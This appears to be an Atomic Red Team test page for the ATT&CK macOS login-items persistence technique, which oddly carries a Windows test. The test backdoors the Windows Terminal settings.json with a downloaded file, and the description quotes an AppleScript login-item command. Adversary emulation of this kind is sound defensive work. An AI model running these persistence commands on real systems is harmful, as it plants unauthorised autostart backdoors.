Try it using Invoke-Atomic

Boot or Logon Autostart Execution: Login Items

Description from ATT&CK

Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.

Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/ Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)

Atomic Tests

Atomic Test #1 - Persistence by modifying Windows Terminal profile

Modify Windows Terminal settings.json file to gain persistence. Twitter Post

Supported Platforms: windows

auto_generated_guid: ec5d76ef-82fe-48da-b931-bdb25a62bc65


Name Description Type Default Value
calculator Test program used to imitate a maliciously called program. String calculator.exe
settings_json_def Default file for Windows Terminal to replace the default profile with a backdoor to call another program. Path ~\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState\settings.json
settings_json_tmp Temp file for Windows Terminal. Path ~\AppData\Local\Temp\settings.json
wt_exe Windows Terminal executable. Path ~\AppData\Local\Microsoft\WindowsApps\Microsoft.WindowsTerminal_8wekyb3d8bbwe\wt.exe

Attack Commands: Run with powershell!

mv #{settings_json_def} #{settings_json_tmp}
Invoke-WebRequest "" -OutFile "#{settings_json_def}"

Cleanup Commands:

mv -Force #{settings_json_tmp} #{settings_json_def}
taskkill /F /IM "#{calculator}" > $null

Dependencies: Run with powershell!

Description: Windows Terminal must be installed

Check Prereq Commands:

if (Test-Path #{wt_exe}) {exit 0} else {exit 1}

Get Prereq Commands:

$(rm ~\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\StoreEdgeFD\installed.db -ErrorAction Ignore; Write-Output ""; $?) -and $(winget install --id=Microsoft.WindowsTerminal)